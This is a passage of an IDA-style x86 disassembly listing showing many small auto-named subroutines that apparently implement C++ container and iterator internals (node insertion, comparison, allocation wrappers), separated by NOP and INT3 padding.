		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218F0	proc near		; CODE XREF: sub_401816j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40196F
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401997
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401947
sub_4218F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421960	proc near		; CODE XREF: sub_4014D8j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_421960	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4219A0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	esi
		retn	4
sub_4219A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219D0	proc near		; CODE XREF: sub_402167j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40196F
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4018FC
sub_4219D0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A10	proc near		; CODE XREF: sub_401703j
		push	esi
		mov	esi, ecx
		call	sub_4019EC
		mov	eax, esi
		pop	esi
		retn
sub_421A10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421A30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40204F
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421A50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A80	proc near		; CODE XREF: sub_401802j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FFF
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421A80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AB0	proc near		; CODE XREF: sub_4016E0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421AB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013ED
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_40145B
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021B7
sub_421AF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B60	proc near		; CODE XREF: sub_40145Bj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421B60	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421BA0	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	esi
		retn	4
sub_421BA0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013ED
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BAE
sub_421BD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C10	proc near		; CODE XREF: sub_401B40j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421C10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421C30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C50	proc near		; CODE XREF: sub_40182Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421C50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D48
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421C80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401ECE
		mov	edi, eax
		push	edi
		call	sub_401B1D
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421CB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B1D
		push	edi
		mov	[eax], ebx
		call	sub_401B1D
		mov	edi, [eax]
		push	edi
		call	sub_401B1D
		mov	ecx, [eax]
		push	ecx
		call	sub_4015D2
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E3D
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D84
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421D50	proc near		; CODE XREF: sub_4018FCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401CF3
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401901
sub_421D50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401CF3
		push	edi
		mov	[eax], ebx
		call	sub_401CF3
		mov	edi, [eax]
		push	edi
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017E9
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401EBF
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421DF0	proc near		; CODE XREF: sub_401997j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jz	short loc_421E4A


loc_421E08:				; CODE XREF: sub_421DF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020B8
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A1E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401802
		test	al, al
		jnz	short loc_421E08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421E4A:				; CODE XREF: sub_421DF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421DF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E80	proc near		; CODE XREF: sub_401901j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401DF2
sub_421E80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421E95
		mov	edi, esi


loc_421E95:				; CODE XREF: ___:00421E91j
		push	esi
		call	sub_40204F
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421EAA
		mov	edi, esi


loc_421EAA:				; CODE XREF: ___:00421EA6j
		push	esi
		call	sub_401CF3
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421ED0	proc near		; CODE XREF: sub_401947j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401546
sub_421ED0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_40204Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F30	proc near		; CODE XREF: sub_4019ECj
		mov	eax, ecx
		retn
sub_421F30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F50	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401519
		mov	eax, esi
		pop	esi
		retn	4
sub_421F50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421F80	proc near		; CODE XREF: sub_401FFFj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_421F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FB0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018E8
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_421FB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013DE
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_401D75
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4220AA


loc_422068:				; CODE XREF: sub_422050+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019AB
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B7C
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422068
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4220AA:				; CODE XREF: sub_422050+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422050	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020BD
sub_4220E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4220F5
		mov	edi, esi


loc_4220F5:				; CODE XREF: ___:004220F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42210A
		mov	edi, esi


loc_42210A:				; CODE XREF: ___:00422106j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422130	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018E3
sub_422130	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422150	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422170	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422170	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422190	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221B0	proc near		; CODE XREF: sub_401D75j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018ED
		mov	eax, esi
		pop	esi
		retn	4
sub_4221B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4221E0	proc near		; CODE XREF: sub_401D48j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4221E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422210	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A2D
		add	esp, 8
		retn	8
sub_422210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422240	proc near		; CODE XREF: sub_401A1Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020B8
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40204F
		push	esi
		mov	ebx, eax
		call	sub_401CF3
		mov	ecx, [eax]
		push	ecx
		call	sub_40204F
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401CF3
		push	esi
		mov	ebx, eax
		call	sub_40204F
		mov	eax, [eax]
		push	eax
		call	sub_401CF3
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401631
		push	esi
		mov	ecx, edi
		call	sub_401947
sub_422240	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422300	proc near		; CODE XREF: sub_401CF3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422300	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422320	proc near		; CODE XREF: sub_401DF2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422320	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422350	proc near		; CODE XREF: sub_401546j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422350	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422370	proc near		; CODE XREF: sub_4017E9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40201D
		add	esp, 8
		retn	8
sub_422370	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223A0	proc near		; CODE XREF: sub_401519j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4223A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4223C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4223E0	proc near		; CODE XREF: sub_4020B8j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4223E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422410	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_422410	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4224D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224F0	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4224F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422520	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_422520	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422540	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_422540	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422570	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422590	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422590	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225B0	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4225B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422600	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_422600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422620	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
